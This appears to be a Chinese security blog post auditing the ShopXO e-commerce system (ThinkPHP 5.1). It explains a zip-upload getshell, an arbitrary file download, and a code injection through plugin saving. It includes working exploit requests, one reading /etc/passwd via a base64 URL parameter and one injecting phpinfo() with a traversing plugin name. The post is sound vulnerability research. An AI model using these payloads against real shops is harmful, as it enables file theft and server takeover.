前言
前段时间,一直在 java 学习的路上,感觉 php 相关的有点搁置了。前天随便翻了下 cnvd,想找个目标复习下 php 审计。因为之后,可能会去学习分析些自动化审计工具,所以审计上的思路还是要经常复习 : )
ShopXO 商城系统、国内领先企业级 B2C 免费开源电商系统,包含 pc、h5、微信小程序、支付宝小程序、百度小程序,遵循 apache2 开源协议发布、基于 ThinkPHP5.1框架研发。
漏洞思考
这是一个商城系统,以前可能并没有相关的审计经验,相比于 cms 的话,前台的功能会比较多一点。关于这种基于路由的系统,一个功能对应一个方法,审计上可以从每个控制器的方法入手,一个个去跟踪相关处理逻辑,这样也会比较全面的分析到每个功能点。而像其他的基于多文件入口的系统,一个功能或几个功能可能对应一个文件,可以通过正则定位一些输入点,然后回溯寻找利用链,比如/\$_(GET|POST|COOKIE)/i
。针对不同系统,可能会有相应的全局取 gpc 数据的函数,这些也要写到正则中,根据具体情况编写正则搜索。
以上是对业务逻辑代码的审计思路,很多系统可能是基于一些框架去开发的,在分析完业务代码上的安全问题后,也可以尝试去对框架本身做一定的分析,看看是否存在一些安全问题。
像上一篇 zentao 的分析,通过搜索危险函数,可以快速定位到一些存在隐患的代码处。以及以前 tp 出过 rce 的洞,通过定位输入点,我们能发现一些存在明显漏洞的代码。
代码审计
我会先对开头 cnvd 上报的漏洞进行分析,然后再简单讲一下自己挖掘的一些漏洞。
后台 zip 上传 getshell
/application/admin/controller/Pluginsadmin.php
1 2 3 4 5 6 7 8 9 10 11
| public function Upload() { if(!IS_AJAX) { return $this->error('非法访问'); }
return PluginsAdminService::PluginsUpload(input()); }
|
这里的 ajax 判断实现得很简单,用 get 传参就可以通过判断了。
1 2
| define('IS_AJAX', ((isset($_SERVER['HTTP_X_REQUESTED_WITH']) && 'xmlhttprequest' == strtolower($_SERVER['HTTP_X_REQUESTED_WITH'])) || isset($_REQUEST['ajax']) && $_REQUEST['ajax'] == 'ajax'));
|
/application/service/PluginsAdminService.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| public static function PluginsUpload($params = []) { $type = array('application/zip', 'application/octet-stream', 'application/x-zip-compressed'); if(!in_array($_FILES['file']['type'], $type)) { return DataReturn('文件格式有误,请上传zip压缩包', -2); }
$dir_list = [ '_controller_' => APP_PATH.'plugins'.DS, '_view_' => APP_PATH.'plugins'.DS.'view'.DS, '_css_' => ROOT.'public'.DS.'static'.DS.'plugins'.DS.'css'.DS, '_js_' => ROOT.'public'.DS.'static'.DS.'plugins'.DS.'js'.DS, '_images_' => ROOT.'public'.DS.'static'.DS.'plugins'.DS.'images'.DS, '_uploadfile_' => ROOT.'public'.DS.'static'.DS.'upload'.DS.'file'.DS, '_uploadimages_' => ROOT.'public'.DS.'static'.DS.'upload'.DS.'images'.DS, '_uploadvideo_' => ROOT.'public'.DS.'static'.DS.'upload'.DS.'video'.DS, ];
$plugins_name = '';
$resource = zip_open($_FILES['file']['tmp_name']); if(!is_resource($resource)) { return DataReturn('压缩包打开失败['.$resource.']', -10); }
while(($temp_resource = zip_read($resource)) !== false) { if(zip_entry_open($resource, $temp_resource)) { $file = zip_entry_name($temp_resource);
if(empty($plugins_name)) { $plugins_name = substr($file, 0, strpos($file, '/')); $ret = self::PluginsVerification($plugins_name); if($ret['code'] != 0) { zip_entry_close($temp_resource); return $ret; } if(strpos($file, '/.') === false && strpos($file, '__') === false) { $is_has_find = false; foreach($dir_list as $dir_key=>$dir_value) { if(strpos($file, $dir_key) !== false) { $file = str_replace($plugins_name.'/'.$dir_key.'/', '', $dir_value.$file); $is_has_find = true; break; } }
if($is_has_find == false) { continue; }
$file_path = substr($file, 0, strrpos($file, '/'));
\base\FileUtil::CreateDir($file_path);
if(!is_dir($file)) { $file_size = zip_entry_filesize($temp_resource); $file_content = zip_entry_read($temp_resource, $file_size); @file_put_contents($file, $file_content); }
zip_entry_close($temp_resource); } } } }
|
漏洞很明显,完全没有对压缩包中的文件名及文件内容做任何过滤。需要注意的是,这里不能将 shell 写在 application 下的子目录中,因为该目录下的文件不能直接访问。
本来想用../
命名文件,跳转目录上传,但是读出的文件名中会把/
换成:
。那我们写在 /public/static/plugins/js/ 下,压缩下面_js_
文件夹上传即可。
因为该系统基本没有对 csrf 做防护,其验证身份逻辑只是简单的 cookie/session 形式,具体通过后台基类 Common 的 IsLogin() 方法实现。
/application/admin/controller/Common.php
1 2 3 4 5 6 7 8 9 10 11 12
| protected function IsLogin() { if(session('admin') === null) { if(IS_AJAX) { exit(json_encode(DataReturn('登录失效,请重新登录', -400))); } else { die('<script type="text/javascript">if(self.frameElement && self.frameElement.tagName == "IFRAME"){parent.location.reload();}else{window.location.href="'.MyUrl('admin/admin/logininfo').'";}</script>'); } } }
|
所以,我们可以结合 csrf 去 getshell。
分析完该漏洞后,我过了一遍前台和 api 的每个控制器中的方法,没有找到很明显的漏洞点。在商城系统中,大部分的功能都需要和数据库交互,用户收货地址等信息的记录,购物车中的记录等,但是,关于 sql 注入防护方面,tp 还是做的比较好的。
前台任意文件下载
这是我在前台唯一找到的一处漏洞点,第一次看到这个方法的时候就感觉写得有问题。
/application/index/controller/Qrcode.php
1 2 3 4 5 6 7 8 9 10 11
| public function Download() { $params = input(); if(empty($params['url'])) { $this->assign('msg', 'url参数为空'); return $this->fetch('public/tips_error'); }
(new \base\Qrcode())->Download($params); }
|
/extend/base/Qrcode.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function Download($params = []) { $url = base64_decode(urldecode($params['url']));
$filename = empty($params['filename']) ? date('YmdHis').GetNumberCode().'.png' : $params['filename'].'.png';
header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Cache-Control: private',false); header('Content-Type: application/force-download'); header('Content-Disposition: attachment; filename="'.$filename.'"'); header('Content-Transfer-Encoding: binary'); header('Connection: close'); readfile($url); }
|
这里漏洞也是很明显。
1
| index.php?s=index/qrcode/Download?url=ZmlsZTovLy9ldGMvcGFzc3dk
|
因为这里太过明显了,出于好奇,我搜索了一下。
参考:http://www.thinkphp.cn/topic/36582.html
可以看到,这个功能点和 tp 官网的代码几乎是一样的。在开发的时候,只是单纯为了实现功能,而并没有去思考这个功能会产生什么其他问题。
后台漏洞
后台的问题其实不少,可能也是因为很多开发者并没有对后台的安全特别重视吧。下面就简单讲一个,其他漏洞感兴趣的可以自己去挖掘一下。
/application/admin/controller/Pluginsadmin.php
1 2 3 4 5 6 7 8 9 10 11
| public function Save() { if(!IS_AJAX) { return $this->error('非法访问'); }
return PluginsAdminService::PluginsSave(input('post.')); }
|
/application/service/PluginsAdminService.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| public static function PluginsSave($params = []) { $p = [ [ 'checked_type' => 'empty', 'key_name' => 'plugins', 'error_msg' => '应用唯一标记不能为空', ], [ 'checked_type' => 'empty', 'key_name' => 'logo', 'error_msg' => '请上传LOGO', ], [ 'checked_type' => 'empty', 'key_name' => 'name', 'error_msg' => '应用名称不能为空', ], [ 'checked_type' => 'empty', 'key_name' => 'author', 'error_msg' => '作者不能为空', ], [ 'checked_type' => 'empty', 'key_name' => 'author_url', 'error_msg' => '作者主页不能为空', ], [ 'checked_type' => 'empty', 'key_name' => 'version', 'error_msg' => '版本号不能为空', ], [ 'checked_type' => 'empty', 'key_name' => 'desc', 'error_msg' => '描述不能为空', ], [ 'checked_type' => 'empty', 'key_name' => 'apply_terminal', 'error_msg' => '请至少选择一个适用终端', ], [ 'checked_type' => 'empty', 'key_name' => 'apply_version', 'error_msg' => '请至少选择一个适用系统版本', ], ]; $ret = ParamsChecked($params, $p); if($ret !== true) { return DataReturn($ret, -1); }
$ret = self::PowerCheck(); if($ret['code'] != 0) { return $ret; }
$plugins = trim($params['plugins']);
$ret = self::PluginsVerification($plugins); if($ret['code'] != 0) { return $ret; }
$app_dir = APP_PATH.'plugins'.DS.$plugins; if(\base\FileUtil::CreateDir($app_dir) !== true) { return DataReturn('应用主目录创建失败', -10); }
$ret = self::PluginsConfigCreated($params, $app_dir); if($ret['code'] != 0) { return $ret; }
$ret = self::PluginsApplicationCreated($params, $app_dir); if($ret['code'] != 0) { return $ret; }
return DataReturn(empty($params['id']) ? '创建成功' : '更新成功', 0); }
|
跟进 PluginsApplicationCreated()。
1 2 3 4 5
| if(@file_put_contents($app_dir.DS.'admin'.DS.'Admin.php', $admin) === false) { return DataReturn('应用文件创建失败[Admin.php]', -11); }
|
问题也很明显。
1 2 3
| POST /shopxo/admin.php?s=/pluginsadmin/save&ajax=ajax HTTP/1.1
plugins=llfam;/*/../../../../test&logo=logo&name=*/phpinfo();/*&author=author&author_url=author_url&&version=version&desc=1&apply_terminal=applyter&apply_version=appversion
|
总结
写这篇文章,其实主要不是分析漏洞,因为这些漏洞的成因都是开发不注意安全所导致的,安全人员很容易就能发现这些问题。tp 可以说是国内广泛使用的框架了,前段时间对 tp 做过一定的审计,也没审出什么问题。但是,框架的安全并不代表实际系统的安全,框架只是给予了开发一些便利,具体功能的实现还是开发去做,所以,在开发阶段仍然需要重视安全问题。
关于 sdl,自己也在慢慢接触学习。引用云大的一句话。
漏洞发现得越晚,修复成本越高,如果是线上运营的系统被爆出漏洞,修复成本除了下线、修复、重新上线导致的业务损失成本、人员成本之外,甚至还包括了消除公关事件影响方面的成本。所以需要在产品上线之前建设安全开发体系,尽可能早的发现、解决安全问题
这里其实就是SDL的本质所在,安全前移。
参考:http://www.thinkphp.cn/topic/36582.html